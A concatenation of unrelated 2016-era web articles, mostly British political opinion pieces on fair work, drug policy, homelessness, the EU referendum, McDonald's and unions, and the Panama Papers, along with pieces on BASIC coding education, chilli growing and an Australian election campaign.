Invalids required assistants to reach Gassner, and each assistant required some form of compensation. They needed places to stay along the journey, and so did the gawkers who would travel to watch Gassner. They would wait weeks for a session with the Father; all of them would require room, board, and souvenirs to take back home. Soldiers were needed to maintain order, and each soldier required pay. One author projected Gassner's cost to surrounding territories at one million gulden. He was also accused of making Enlightenment Germany an easy target for ridicule. These objections brought Gassner's career to an end, and the polarizing priest was forced to assume regular parishional duties in a small town called Ponsdorf.

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The first of May every year is universally known as May Day and May Day is most commonly identified as International Workers' Day. In Scotland, this is celebrated by marches and rallies in its major cities with a festival of events put on in Glasgow as well. Amongst the heroes of organised labour that are celebrated are the likes of Jimmy Reid, the leader of the successful mass struggle of shipyard workers' on Clydeside to save their jobs by carrying out a novel 'work-in' form of industrial action between 1971 and 1972 which forced a hostile Tory government to nationalise the yards.

Today, the Scottish National Party (SNP) is seen by many as taking on some of the mantle of 'old' Labour and maybe even a touch of 'red' Clydeside. The SNP is heading towards making another rout of Labour in the 5 May Scottish Parliament elections, based in large part upon the common perception of radicalism in defending Scotland against the Westminster Conservative government. Indeed, SNP leader, Nicola Sturgeon, openly calls herself a 'social democrat' and the SNP brands itself as a social democratic party even though there is little of substance to back up the self-appellation. Nonetheless, it is a change from the former characterisation of being known as the 'Tartan Tories'.

The juxtaposition of these older and newer traditions makes the response to the phenomenon of the SNP Scottish Government's attempt to create a form of social partnership between capital, labour and the state a little puzzling as this article will explain.

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The Fair Work Convention, established by the SNP Scottish Government in 2015, published its major document, the Fair Work Framework, on 21 March. The Framework states its vision is that 'by 2025, people in Scotland will have a world-leading working life where fair work drives success, wellbeing and prosperity for individuals, businesses, organisations and society' with the fair work being defined as that which 'offers effective voice, opportunity, security, fulfilment and respect; that balances the rights and responsibilities of employers and workers and that can generate benefits for individuals, organisations and society'.

Surely, this major announcement - put out just before the dissolution of the Scottish Parliament for the 5 May elections - warranted coverage and comment in the media, especially as it indicates that in matters of industrial relations Scotland is moving in quite a different direction from the rest of Britain, mostly obviously with the Conservative Westminster government's Trade Union Bill about to become law. But, alas, the answer was a resounding 'no'.

It, therefore, falls upon academics to analyse such developments. So in a new 'Quick Note' for the Jimmy Reid Foundation, a critique of the 'Fair Work Framework' is provided. It shows that while the Framework has many laudable aims, it is completely woeful in providing the mechanisms by which to achieve these aims.

This is because the Scottish Government refuses to contemplate using its existing and future legal powers to compel employers to achieve the aims in their workplaces. In other words, the Framework is an entirely voluntary affair like other initiatives of the same SNP Scottish Government (like the Scottish Business Pledge). It is up to employers themselves to decide whether or not to endorse and implement the Framework. Unions can, of course, argue that employers should but they will receive precious little help in doing so from the Scottish Government.

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The critique for the Jimmy Reid Foundation suggests that not only could the SNP Scottish Government's considerable power through procurement and grants to businesses be used but that the Scottish Government also abdicates responsibility for its own Framework by ruling out having an accreditation system (like the independent living wage system has) for employers seeking to implement the Framework's aims or periodic reviews of progress made towards attaining those aims.

Given that the Scottish Government is intent upon pursuing a voluntarist approach to achieving 'fair work', it should at least commit to periodic assessments of its plan. And because the Scottish Government is the employer, giver of grants or awarder of contracts through procurement, it should specify a contract of rights for workers to attain the aims of the Framework. Ultimately, the Scottish Government must undertakes steps to put on a statutory footing the institutional mechanisms for achieving the aims of its Framework.

The critique can be found at:

http://reidfoundation.org/2016/04/failure-of-the-fair-work-framework/

An earlier Jimmy Reid Foundation report setting out a vision for economic and industrial democracy can be found at:
Are you interested in drugs? It's a bizarre question isn't it? Most of us, to some degree or another, are indeed interested in the subject of drugs, but it's still very much a taboo.

Drugs evoke a near visceral reaction within us. It's NSFW - a hushed word, usually mouthed with some elderly theatrics in polite society. The issue is fraught with tension, mixed messages, and a great deal of intrigue.

How do we go about marketing for a change in attitude - preparing the ground so that reasoned and evidence based policies are formed? As the world looked towards the United Nations General Assembly Special Session on Drugs (UNGASS) it's never been more important to discuss the issue with friends, family, and those who just do not care.

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We can often preach to the converted in reform circles.

We could argue that the debate has been won and drug law reform is the eminent conclusion to our problems. There's really not much (if any) evidence to support the continuation of prohibition and the criminalisation of drug consumers, and yet we are anchored to an approach that is leaving millions of lives in ruins - not because of the drugs themselves, but simply through the wrong policy. So how do we go about this? How do we bring about that final battle for change?

I was recently left humbled by the reaction that I personally received after appearing on spoken-word artist and rapper Scroobius Pip's podcast. Pip has had A-list stars on his Distraction Pieces podcast and has attracted over a million downloads in 2016 alone. Pip realised that there are many societal issues that could benefit from such vast exposure. On his podcast, hosted by Acast, Pip has taken on issues such as Housing for Women, British Red Cross, and of course drugs. After I appeared on his show, I received a great many messages of support for the issue, and most heartening of all, many, many new voices to the issue. We also did a LEAP UK special.

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Such was the reaction that Pip and I have now forged a new podcast dedicated to drug policy.

Having worked on many projects, from organisations, writing outlets, films, I've seen just how inspired members of the public can be when faced with the cold realities of 'the drug war'. As soon as the realism of the issue is addressed - over the conceptual political soundbites - we begin the process of communal conversation. And this is what it's all about: we have to talk our way into reform.

Hosting the first live show at Tottenham Court Road Waterstones on the 26th of April, the new drug policy podcast under Scroobius Pip's Distraction Pieces network, we aim to have the conversations that all of us in drug policy have behind closed doors. Honesty is always the best policy, and this is what we aim to do. We want a no BS policy, an off the record chat which will firmly go on the record! This is a peak behind the curtain.

Stop and Search is the name of this new podcast (in association with LEAP UK).

Our first show will see broadcaster and comedian Robin Ince, The Guardian science blogger Dr Suzi Gage, and Simon Oxenham (better known as the science journalist Nuerobonkers) all sitting and having a chat on science and its interaction within drug policy.

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We're looking to address all the dark corners of drug policy over the coming months, allowing organisations, journalists, politicians and public figures to have a collective chinwag.

Scroobius Pip told me that, "Podcasts work. It's all about the global conversation, unfiltered, and on the real issues that we're all engaged with - whether we know it or not. The new 'Stop and Search' podcast from the LEAP UK team is an example of this. Drug policy is one of those issues that we all need to talk about if we're serious about our collective and societal wellbeing."

So please do join us and get involved.

We're reaching a point where all hands are needed on deck to lift this weighty anchor of prohibition, and to set sails of the seas of reform... stretched metaphors and analogies are optional!

Jason Reed is the Executive Director of LEAP UK.
Having spent the majority of my adult life in Leeds, I've seen the city grow into an incredible place over the last eight years. I've seen Universities expand and change; I've spent years detouring from my preferred route as I patiently awaited Trinity Shopping Centre to be built; I've watched every step of the Victoria Gate and John Lewis flagship store construction over the last year on my walk to and from work. These are all great changes for the city - driving new economy for Leeds and cementing itself as the true Northern Powerhouse it is. However, I've also seen a huge rise in the amount of homeless throughout the city.

I used to walk around the city blissful in my ignorance of the horror many were facing on a day-to-day basis. But now, as the homeless scatter many parts of the city centre, I am forced to consider their suffering and what Leeds is doing to combat such an obvious issue.

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According to government figures, the homelessness situation in Leeds isn't as bad as the situation in cities like Bristol and Birmingham, but the figures are still high. In the city of Leeds, between 2014 and 2015, 378 recorded themselves as homeless; when looking at cities of similar sizes, like Newcastle for example, their 161 recorded homeless seems like a drop in the water. What is Newcastle doing that Leeds isn't?

Perhaps it's the attitude those in Leeds have towards the homeless. Recently, business owner Dion Smith was told he wasn't allowed to offer those less fortunate with free tea, coffee and bread. In fact, he was actively discouraged from doing so by a group that Leeds Business Improvement District (BID) call 'Street Wardens', who told Mr. Smith that his offerings were "attracting intimidating and undesirable people to the area". This is unbelievable demeaning and short sighted and, to me, sounds like the 'seen but not heard' idiom, except they would prefer them neither seen nor heard.

One of the most interesting things I stumbled upon when browsing the internet on the subject was the matter of empty homes. I've heard of this happening in London; wealthy people from different countries investing in real estate in the Capital, only to leave them empty and in doing so, drive up the cost of living for those who are left. It's nothing new. But what I wasn't aware of was the sheer amount of empty homes across the whole country, not just London.

Through more digging on the subject of empty houses versus homeless people in the UK I saw that London had, between 2014 and 2015, 56,715 recorded empty homes and 17,530 homeless. Birmingham had 9,523 empty homes vs 3,140 homeless. And Leeds? Well Leeds' stats don't look good at all; 10,724 empty homes yet only 378 homeless. I haven't gone so far as to look at the type of properties left empty and why, but something doesn't add up.

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They say it is never too early to plan, so here is a brief look at how to bring the country back together in the event of a Remain vote this June.

The government will have a mandate for staying in the EU on David Cameron's terms, but millions of Britons will have voted to leave. The free movement of people will remain in place, but countless politicians will have said migration needs to change. We will be in the single market and Europe's complex decision making system, but the British people will be more alert to the flaws of both.

This alertness should form the basis for our future EU membership: watchful and constructive. Before Ukip linked migration to the idea of the EU in the public imagination, most people vaguely associated Brussels with rules for straight bananas and cheap flights. With the engagement and detailed discussion raised by this referendum, far more people will take a genuine interest in the whole span of EU involvement.

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Failure to pay attention to the 45-49% of voters who chose Leave would be a mistake. It would allow them to push for another referendum as soon as possible, just as the Scottish nationalist movement has done. It would allow Ukip to turn itself into a catch-all anti-establishment party, a voice for the disenchanted and the voiceless.

The referendum will have affirmed that EU structures are part of Britain's unwritten constitution. As such, the Brussels institutions deserve and require the same level of scrutiny that parliament and local government get here. Perhaps they deserve more, given the EU's remoteness and intergovernmental nature.

The electorate will have become alive to European issues thanks to the debate stimulated by the referendum. This must continue: our journalists, bloggers, think tankers, the EU scrutiny committee and interested citizens will need to hold the EU to account. It is part of our governance: we should make sure it delivers projects in Britain's interests. We need to keep an eye on the digital single market, scrutinise the final draft of the EU-USA trade agreement TTIP, push for high safety standards for car exhausts. Equally, we need to be ready to fight Eurozone developments we'd rather stay out of, while participating wholeheartedly in those that will stimulate the continental economy. This should ultimately mean there are more European consumers with money in their pockets for British goods and services.

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Migration is set to be a key issue in the EU debate, and if we vote Remain, the basic fact of EU free movement will continue. The pro-migrant side (of which I am part) cannot rest on its laurels. It is obvious that many non-racist Britons are worried by the effects of migration on our culture, jobs and public services. The government must get on with its long-delayed migrant dividend following the ideas of British Future, so regions that have seen high migration will see a boost in spending to ensure their services keep pace. State spending on integration measures (p.68) like language tuition, culture classes and workplace standards enforcement all need to be ramped up. The minimum wage has to be universally enforced. This would mean those who come here can fit in easily, and won't be seen as undercutting native workers.

More controversially, the government could explore pushing the EU to its limits. Historically Britain has followed most rules to the letter. Other EU member states ignore rules they dislike for as long as possible, implement them weakly, enforce them with one eye shut, or outright defy them: Germany has broken rules on running a trade surplus for years, for example. We should not oppose every inconvenience just to be a nuisance but when there's a rule whose consequences seem contrary to what Britain agreed, or whose effects are much worse than expected, then we should explore a little creative disobedience. We may eventually be slapped on the wrist by the EU Court of Justice. Equally we may find support from other members and a way to improve the rule. An example might be the steel industry: we should have found ways to support British (and Italian and Dutch) steel as soon as it was concluded that China was dumping at below-market cost.

A big leftwing issue in the referendum is the EU-US deal 'TTIP'. Elsewhere I argue that fear of TTIP is a terrible reason to vote to leave, but that does not mean it is perfect. If we vote Remain then we need to make absolutely sure that the NHS is protected from TTIP and its Canadian equivalent (CETA). Further afield, we need to push for transparency and fairness in deals like the Trade in Services Agreement (TiSA) and the proposed Investment Court System (the replacement for ISDS). Along with this, left wingers should support and encourage Margarethe Vestager, the Competition Commissioner as she goes after tax dodging firms - helping show the EU is not a rampant capitalist conspiracy. Commissioners will be, after all, servants of the British public.

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This week, a sub-committee of Labour's National Executive Committee (NEC) agreed to block McDonald's proposal for exhibiting at Labour Party Conference this year.

It has been reported that the decision was primarily motivated by McDonald's refusal to recognise the Bakers' Food And Allied Workers Union (BFAW) and other unions.

As a member of the NEC elected by constituency members, I tweeted in response to the decision that "It's great that @UKLabour is standing up for trade union rights at McDonald's."

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The reason I back the decision is that McDonalds must end their refusal to recognise trade unions. It is the mainstream position in our movement that companies should recognise trade unions, and in this particular case McDonalds need to meet with the BFAWU union to discuss how they can improve conditions for workers.

Indeed, there is a growing campaign led by trade unions internationally in the fast food industry, and Jeremy Corbyn tweeted on the 14 April his support for the #fastfoodglobal day of action.

Campaigners have specifically expressed concern that McDonalds has been at the forefront of anti-union practices which affect the daily lives of thousands of their workers across the globe. That is why - whilst much media attention has focussed on those using the decision to make cheap political points- trade unions, who have worked hard to attempt to get companies like McDonalds to end casualisation and recognise trade unions, welcomed the decision.

A statement by Ian Hodson, President of BFAWU welcomed Monday's decision, explaining that "we have been organising workers in McDonalds who have highlighted many areas of concern regarding their employment and we urge McDonalds, the world's second largest employer, to become a good business role model instead of being the leaders in the race to the bottom."

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Whilst welcoming the recent decision (following international and British campaigning on the issue) to "offer workers contracts of employment instead of their reliance on zero hour contracts", it concluded by calling "on the management to meet us to discuss the benefits of union membership; to end inequality and scrap the youth rate to pay a wage in line with their place as one of the most profitable businesses in the world."

If Monday's decision to turn down a stand at Labour conference focuses attention on trade union non-recognition at McDonalds, it's worth it. As a letter this week in The Guardian from unions and others put it "We say to McDonald's: if you can rebrand so much in your stores, from store layout to children's meals, surely you can adapt your business model, with the mega profits generated by your workforce, to recognise your workers' union and meet with the BFAWU now."

More generally, Labour members and supporters voted overwhelmingly last summer for clear, principled leadership which would stand up for working people, not stand by. Supporting our trade unions - and Labour's historic link with them - is vital to doing this.
So at last commentators are beginning to wake up to the fact that if the UK votes to withdraw from the EU, then while this might be bad news for the UK but it will be even worse news for the EU itself. The Italian finance minister, Pier Carlo Padoan, has said that Britain's departure could cause a domino effect in which Eurosceptic parties and electorates feel emboldened, while the German finance minister, Wolfgang Schauble, claimed an out vote would be "poison" to the EU and world economies. Catherine Mann, the chief economist at the OECD recently said, "a vote against remaining in the EU would be "bad for the UK, bad for Europe and bad for the global economy" while Dr Jenz Zimmerman, a German government MP said "The departure of Britain from the EU would deprive the union of a "strong voice" from across the English Channel, he said. "Also, it would be more difficult for us in Germany who are strong European voices because France and the southern states might become more powerful." These sorts of concerns are now increasing as it dawns on the Europeans that BREXIT might actually happen. Expect panic to break out as we get closer to 23 June

Imagine if you are a member of a club, which has rich and poor members and is threatened by outside parties. You are known as the strongest member of the club and also the second richest member. You are also the second most generous contributor to the poorer members of the club. If you decided to leave the club, do you think the other members would just cheerily wave goodbye and let you go. Of course, not, they would do everything they could to persuade you to stay with them.

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If we turn to the UK and the EU, the situation is that the UK is:

the second biggest economy (GDP) in the EU after Germany

the second biggest contributor to the EU budget after Germany (http://news.bbc.co.uk/1/hi/world/europe/8036097.stm#start)

the strongest military power in the EU

In this situation, why on earth weren't the other EU member states prepared to do much much more to persuade the UK to remain in the union. What I find especially strange is that the biggest difficulties to the UK renegotiations were caused by the EU member states from Eastern Europe who gave David Cameron a really hard time.

Now let's recognise the following:

Economics - These eastern European states are poor countries and get huge amounts of EU financial aid. In addition, the size of the UK market and the free movement of labour, which enables their citizens to get work in the UK, assist them hugely. All of this will change if the UK as a major contributor to the EU budget were to leave and this will impact negatively on them

Security - these states are threatened by a resurgent Russia. Last year I visited the Baltic States and noticed they were terrified about what the Russians might do. Equally the other Eastern states know, from recent memory, what it is like to live under the Russian yoke and should think a bit more carefully about their actions. The UK is the only military power in Europe that Putin would worry about. Why do think he send his bombers to test our air space? - he wouldn't waste the fuel to test the air space of Holland, Greece Latvia to name but three. If the UK decides to leave the EU on 23 June, expect Putin to celebrate and to raise the stakes in Eastern Europe and the Ukraine.

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Computer gaming was once a very different pursuit than it is now. Going to primary school in the 1980s, I spent countless hours on a Commodore PET. Not just playing the rudimentary educational games that loaded, after an age, from cassette. But also hacking into these games, digging down into the code and changing words around to the amusement of friends. Or spending hours on end inputting hundreds of lines of code to design a butterfly forged out of @ signs and causing it to flap its wings.

During that time, magazines full of code were stocked in newsagents, and fellow pupils and adults alike were captivated. The language commonplace at that time was BASIC, designed by academics for straightforward use by those who weren't experts in maths or science so that the broader public could customise their own software.

This all seems a world away from today's complex computer interfaces of Windows or iOS, which most people - myself included - wouldn't have the first idea about when it comes to understanding their inner workings. And, for the most part, why would you want to? These interfaces have transformed our lives in so many ways over the past three decades.

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Yet as Jon Silvera found when dusting off an old BBC Micro from his attic back in 2011, the old language of BASIC still manages to captivate even now. Loading it up, he was astonished to find that his son became immersed in it, despite also owning a Nintendo Wii.

It is, he tells me, the accessibility of the language that allows people to become so engaged. The fact that you get instant feedback. That your interaction causes a butterfly to flap its wings, or for the computer to announce the classic "Hello World!"

In many ways, say Silvera, it's like people who are used to pre-packaged frozen food suddenly getting a glimpse for the first time into how it is cultivated and prepared. Going back, Bear Grylls-style to the fundamentals, to understand more about how modern computers operate.

Becoming trained in BASIC was the making of Silvera's career. Growing up in Minehead, Somerset, and dropping out of school at 16 he was, in his own words, "a lost cause". Until a close friend introduced him to a BBC Micro. Something clicked and he spent hours sitting around his friend's house learning to code.

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He then got a job teaching people to code in the local Butlins holiday camp. Such was the appeal in those days, people young and old would spend their spare time learning to code. Silvera then moved to London and took a series of IT-based roles, until he rediscovered his old Micro in the attic.

Seeing his son transfixed gave him an idea. He had long been frustrated by the fact that while schools now teach pupils to code from Key Stage 1 onwards, the languages used were either too simple - like Scratch - or could be too sophisticated, like Python - the operating language of the now-commonplace Raspberry Pi.

Moving a pupil from Scratch to Python, Silvera argues, is like "taking a young child who was playing happily in the shallow end of a pool, ripping off their armbands and then throwing them into the deep-end with no support".

But it's not only pupils that are suffering - it's teachers too. They are expected to teach often-complex coding languages with little or no training.

Feeling genuinely angry about the situation, Silvera saw the need to reintroduce BASIC as an interim step - developing the FUZEBOX, an accessible coding gadget that uses BASIC to allow pupils to program games and apps, control robotic devices, interact with sensors and experiment with electronics.

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His FUZE BASIC revives what was seen as an obsolete coding language to bridge the gap between coding simulators and advanced programming languages. FUZE boxes are now in over 400 schools in the UK, and Silvera is now running a Kickstarter campaign to introduce a new model that will redesign the hardware and allow it to make use of existing devices both at school and at home.

Silvera isn't looking to do down advanced programming languages like Python or C++. Indeed he recognises an 18 year old who is competent in Python can "easily walk into a 20k job". His concern is that the gulf between the likes of Scratch and Python is so great that many children are put off coding for good.
This week, as the Government calls for investment in treatment services at the United Nations General Assembly Special Session (UNGASS) on drugs, new figures show cuts of 24% are expected at home.

The UNGASS has been widely touted in the media and by campaigners as heralding the beginning of the end for prohibition and the "war on drugs". In reality, a less radical proposal is most probably on the table - a welcome middle path between the calls for decriminalisation led by Latin America and the hard-line punitive stance of Russia and much of the developing world.

Government officials met recently in Vienna to prepare the ground for the politicians to take centre stage in New York. The direction of travel they have agreed for the UN closely follows the path taken in Western Europe over the past 30 years: a focus on treatment allied to light-touch enforcement.

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Although campaigners for reform routinely talk about the "failed war on drugs", at a domestic level we should acknowledge that the model adopted in Western Europe has been remarkably successful

While the focus tends to fall on eye-catching initiatives like the decriminalisation of possession in Portugal, most informed commentators attribute the progress made to the widespread availability of well-funded treatment, an emphasis on non-custodial penalties, and changing youth fashions. Portugal is not alone as a success story: massive investment in treatment and harm reduction services, alongside moderate enforcement, has resulted in declining levels of drug use and associated harm across Western Europe.

The UK is seen by its EU partners as one of the leading advocates of this approach. Between 2001 and 2008 investment in drug treatment in England increased three-fold. To its credit the Coalition Government maintained this level of investment from 2010 despite the huge pressure on public finances.

This investment yielded significant reductions in heroin and crack use and improved treatment quality. Heroin use among the under-25s halved, the number of people treated each year increased from 80,000 to 230,000, waiting times were reduced from nine weeks to five days and early dropout from treatment programmes fell from 50% to 15%. Add to this the very low levels of HIV prevalence, decreasing overall numbers of injecting drug users and a dramatic reduction in drug-related crime, and you have a picture of a system heading in the right direction.

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The UK government is taking a simple and positive message to UNGASS: investing in treatment will do more to reduce drug-related harm than investment in enforcement and prison.

Unfortunately, the power of that argument is being undermined on a daily basis back at home as a consequence of Andrew Lansley's NHS reforms. As part of that package, commissioning drug treatment became a local responsibility in 2013, and previously ring-fenced budgets for drug treatment were placed in the overall public health pot given to local authorities. At the time it was anticipated that integrating drug services with other local authority responsibilities would improve efficiency and outcomes. In the event, many areas of the country have seen disinvestment from drug treatment towards other services amid competing public health priorities.

While the official figures have yet to show it, two independent surveys now indicate the extent of expected disinvestment. Figures reported in February by the Association of Directors of Public Health show 70% of all local authorities are planning to reduce spending on drug treatment this year, on top of 45% having made reductions last year. In addition, Collective Voice - a project overseen by the largest third sector substance misuse service providers in the UK - has identified a 24% year-on-year reduction of drug treatment spending in a random sample of just over 10% of local authorities.

While drug treatment providers have become skilled at managing reducing budgets, continuing to deliver first class services through innovation and improved efficiency, year-on-year cuts at this level are sapping the system's capacity to innovate and much-needed responsiveness to emerging threats such as New Psychoactive Substances.

Reductions in the availability of treatment are a backwards step for treatment providers and the people who use their services, but they're equally unwelcome to central government. The Home Secretary recently identified access to treatment as a core part of her Modern Crime Prevention strategy. The Ministry of Justice is becoming alarmed about the lack of availability of treatment to support community sentences, potentially forcing courts to make more use of hard-pressed prison spaces. Moreover, it is a flagship policy for the Department of Work and Pensions and No 10 to route drug misusers into employment via treatment. However, the culture of localism, swingeing local authority cuts and the low priority traditionally given to drugs by public health professionals leaves the government with few levers to achieve these goals.

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A potential solution could be delivered by the refresh of the Government's 2010 drug strategy, which is due to be published shortly. The drug treatment sector requires a clear commitment to well-resourced services if it is to continue to generate the benefits it currently yields to people and communities. If the new drug strategy can firmly grip this issue we will have a system capable of maintaining the tremendous progress made over the past 15 years.
It has now been well over a week since the Panama Papers leak and there are still so many unanswered questions. Despite questions from the SNP we are still unaware of who in the cabinet benefits or has benefitted from using tax havens. Members of the Cabinet are responsible for making tax laws, it is imperative we find out how many members are implicated. While Iceland's prime minister was forced to resign, our prime minister, David Cameron, mislead the public.

The initial statement to come out of Number 10 that this was a 'private matter' was quickly replaced with 'he will never benefit from tax avoidance' before finally being pushed to admit that he had indeed owned shares in his father's business Blairmore Holdings.

The documents also reveal the names of six members of the House of Lords, several of whom have been donors to the Conservative Party. Tax avoidance has been shown to be running through the veins of Westminster.

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This is at a time where the Conservative Government are demonising the poorest in our society. Cutting disability benefit, imposing the bedroom tax and slowly privatising our vital public services such as the NHS.

The Trussell Trust has released figures showing that the number three-day emergency food parcels needed in Scotland has risen by 13% in the last year. More than 130,000 people relied on these parcels to eat, a damning indictment of the Conservative Government in Westminster.

Questions put forward by the SNP's Westminster leader Angus Robertson MP this week shone a bright light on the Tory agenda. Cameron couldn't hide from the figures showing 3,000 members of staff in the Department for Work and Pensions were investigating benefit fraud while just 300 HMRC staff were investigating tax evasion of the 'super rich'.

Our current government has ten times more staff, more man power, more resources and more time invested in demonising the poor and most needing in our society, whilst the super-rich use the UK as a playground for tax evasion.

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If you need them you are entitled to claim benefits, they should be provided by the government to help. To elevate people from poverty, to give people an extra boost when we need it and to ensure that everyone starts their life on an even playing field.

Our own Prime Minister has publicly embarrassed us on a world stage. By directly benefitting from this money he has shown the establishment to be a system that serves to perpetuate the class structures present in our society. Ensuring a future for Etonians while making sure it is the poorest who pay for it.

We cannot let Panama Papers become yesterday's news, it is important that we continue to ask questions and hold our Government to account. We must continue to shine a bright light on the people responsible for making laws in this country and as the gap between rich and poor continues to grow we must continue to ask why? To understand just how far this issue extends we must have full disclosure on this issue, we can start with who in the cabinet has benefited from tax avoidance schemes.
This week over 2,000 junior doctors signed a letter asking First Lady Michelle Obama for help in their dispute. At first glance, many ask "what good will Mrs Obama becoming involved with how our country runs our National Health System achieve. It's not a matter for United States involvement". My response to this has been, "That is not what we are asking"

So what are we asking Michelle Obama to do? We are asking her, as an international advocate for equality and women's rights to advocate for female junior doctors.

The British and United States health care systems are wildly different. British and US citizens hold some different healthcare values and practice different healthcare delivery systems: namely universal health care system and a largely insurance based system respectively. Doctors training is different, working conditions and roles are distinct.

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What is not distinct or different, what we share, what is a universal belief that transcends national borders is gender equality; and this is what we ask for help with.

Prime Minister David Cameron tells us gender parity is a priority for him. In his election manifesto he stated: "We want to see full, genuine gender equality. The gender pay gap is the lowest on record, but we want to reduce it further and will push to do so". He went a step further by co-chairing a UN commission on sustainable development. He presented the recommendations of his UN commission to the World at the UN Sustainable Development Goals Summit in 2015. In his speech he said: "we commit to a world where women and girls are treated equally to men and boys" and that "The UK will lead the way on this internationally". In his commission's recommendations he has detailed goals on gender equality in Goal 5:

5.1 End all forms of discrimination against all women and girls everywhere 5.4 Recognize and value unpaid care and domestic work through the provision of public services, infrastructure and social protection policies and the promotion of shared responsibility within the household and the family as nationally appropriate 5.c Adopt and strengthen sound policies and enforceable legislation for the promotion of gender equality and the empowerment of all women and girls at all levels

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One year on from My Cameron's delivery of his commission and speech to the UN, the British Governments Equality Impact Assessment for the new junior doctor's contract was published. There was an outcry. It overtly admitted that women will be discriminated against, stating it "will disproportionately disadvantage those who need to arrange childcare (a disproportionate percentage of whom are women (80%))" and that apparently "any indirect adverse effect on women is a proportionate means of achieving a legitimate aim". Amongst other discriminatory changes, the government will also introduce a gender pay gap into one of the world's largest employers, despite Mr Cameron's promises to 'end the gender pay gap'.

Shortly after this was published I had a discussion with an expert on employment and equality from Geneva, with ties to the United Nations and the World Healthcare Organisation. She told me they, in these organisations, were at aghast at the UK governments junior doctor EIA. That the equality policy being adopted was overtly regressive and that quite frankly a country like the UK, who other developing nations look to guide their equality policy, should not be demonstrating such a backward step. 'David Cameron's actions will not be looked upon lightly by the United Nations and other member states if he goes ahead with this' she said.

I can't tell you this expert's name, as these organisations should comment openly on individual member states. What I can relay from our conversation is that better is expected of David Cameron, particularly when he co-chaired a commission in which he committed to positive steps toward gender parity. Particularly when he promised to close gender pay gaps in his manifesto pledges. Particularly when the UK should be setting examples for the world.

What sort of message do we send when we contravene our own UN commission? What sort of message do we send when we engage in high level hypocrisy? We asked Michelle Obama to get involved for one reason: this reason was echoed by the expert from the UN and WHO and by David Cameron himself in his speech to the UN in 2015: 'the world is watching' they said.
Glow Images, Inc via Getty Images Close-up of strands of red chili peppers hanging,Olvera Street,Los Angeles,California,USA

Chillies. People tend to love them, hate them or flat-out refuse to deal with them. (Usually a friendship group will have a representative from each camp, making going out to Thai difficult, but that's another story.)

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For Neil Smith, founder and owner of The Hippy Seed Company, chillies are a way of life -- and the hotter, the better.

Smith not only met his wife through a mutual interest in chillies, he also grows hundreds of varieties through his business and was even the Guinness World Record holder for the world's hottest chilli between March 2011 and November 2013, with his frighteningly named Butch T Scorpion. (The coveted title is now held by The Carolina Reaper HP22B.)

In short, the man knows a thing or two about chillies, and sells over 500 varieties of seeds around the world. And Aussie spice lovers can rejoice, because Australia is the perfect place to grow them.

"Ive been eating chillies since I was about 16, and have run this company for nearly 20 years," Smith told The Huffington Post Australia. "I do this for a living -- sourcing seeds to supply to Australians -- and it's an absolute dream.

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"They tend to grow really well in Australia, I think due to our climate, and if you grow them in the tropics, they will actually grow all year around.

"For the more temperate climates, where the temperature drops below 20 degrees, they will look like they are dead [in the colder months] and lose their leaves, and then in spring they come back.

"But the exciting thing is, anything you can get around the world, you can now get in Australia."

The world's hottest chilli, The Carolina Reaper.

Smith actually estimates there to be around three and a half thousand chilli varieties worldwide -- not including the crosses and creations people are now experimenting with -- and says cooking shows have prompted many Australians to venture outside their normal chilli preferences.

"I think a lot of the chilli plants sold in Australia in shops like Bunnings, for instance, tend to be more ornamental," Smith said. "They all have that capsicum-my type flavour.

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"I don't think a lot of people realise how different many flavours chillis can have. We tried one the other day and it honestly tasted like pineapple. Then that flavour goes away and you get whacked with a bit of heat.

"Another one tasted just like a string bean. There are all sorts of flavours out there.

"But in saying that, if youre not used to the heat, you can't usually taste the flavours. You're just sitting there with your eyes watering worrying about what's going on."

For this reason, it's not the best idea to go from zero to hero when it comes to chilli experimentation.

For those who enjoy a mild chilli, Smith recommends trying the Malawi Piquante pepper.

"These are quite mild and they grow beautifully -- up to 10 feet tall, and you can grow them over an archway," Smith said.

"For a mid-heat, you can't go past a variety of Bird's eye. You can actually buy those in shops such as Woollies or you can grow them yourselves. You can even just pull the seeds out from a store-bought one and grow it like that."

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On the hotter end of the scale, Smith says it really depends how hot you want to get.

"Okay, so for someone who likes a hot chilli, a habanero of some kind would be good. Probably a yellow one, as they are really nicely flavoured," Smith said.

"The next step up from there would be probably the bhut jolokia (ghost pepper), and if you want to get really hectic, the Butch T or a Trinidad Scorpion -- maybe a chocolate scorpion -- would be ideal."

Bird's eye chillies.

To give you an idea of the levels of hotness we're talking about, there is a handy measuring tool called the Scoville Heat Unit (SHU).

For instance, a jalapeno has a SHU rating of about 2,5005,000, while a bird's eye chilli has a rating of about 30,000.

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On the other end of the scale, the current world record holder The California Reaper has a SHU of 1,569,300. Smith's creation, the Butch T Scorpion, sits at 1,463,700.

All together now: OUCH.

So what do you do if you exceed your chilli limit by accident?

"Sip milk or eat cheese. What you're after is fatty products," Smith advised. "Capsaicin is actually an oil, so if you try and get rid of the heat with water, coke or beer, it actually just moves it around and makes it worse.

"With fatty products, the oil binds to the fat, which helps. Just don't drink the milk too quickly or you'll end up being sick, and that's even worse."

For those who want to add some chilli to their cooking, Smith advised it's actually better to do so after the dish has been prepared, not during.

"It is always better to put it on the food rather than cook with it in the food," Smith said. "Because if you cook with chilli, the flavour goes through the whole dish, and so will the heat. It can actually overpower your food.

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"However, if you cook your good and then slice up some fresh chilli or use a sauce or paste over the top, you will still get the burn but still get that flavour of the dish itself.

"Also, if you're like me, you'll find other people cant handle that level of heat."

Smith's foolproof chilli paste

Ingredients

100g chilli

50 mls vinegar

Tablespon sugar

Pinch of salt

(Use the same chillies with different vinegar and/or different sugar for a different flavour.)

Steps:

Blend up the chillis with the vinegar in a saucepan Add sugar and salt Simmer it for half an hour or so Take off heat, cool and refrigerate. (Paste should last for a few weeks in the fridge.)
Fairfax Media

Former MP Sophie Mirabella is back in the headlines again for all the wrong reasons, her campaign to recover her lost seat of Indi marred early by two controversial bits of news.

Mirabella lost her Victorian seat at the 2013 election to independent Cathy McGowan by about 400 votes. Indi is on an absolute knife-edge, but Mirabella has done herself no favours in a bizarre 24 hours that saw her accused of shoving her opponent, then claiming that the government withheld $10 million for a local hospital because she lost the election.

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A report in the Benalla Ensign newspaper on Wednesday said Mirabella, McGowan and federal Liberal MP Ken Wyatt were at the opening of a new wing at a local retirement village. The Ensign reported Mirabella "very publicly pushed Ms McGowan out of the way to obstruct the photo being taken."

.@MirabellaSophie said her integrity has been abused over reports she pushed .@Indigocathy at a function. https://t.co/rdZ92FI85g  Sky News Australia (@SkyNewsAust) April 21, 2016

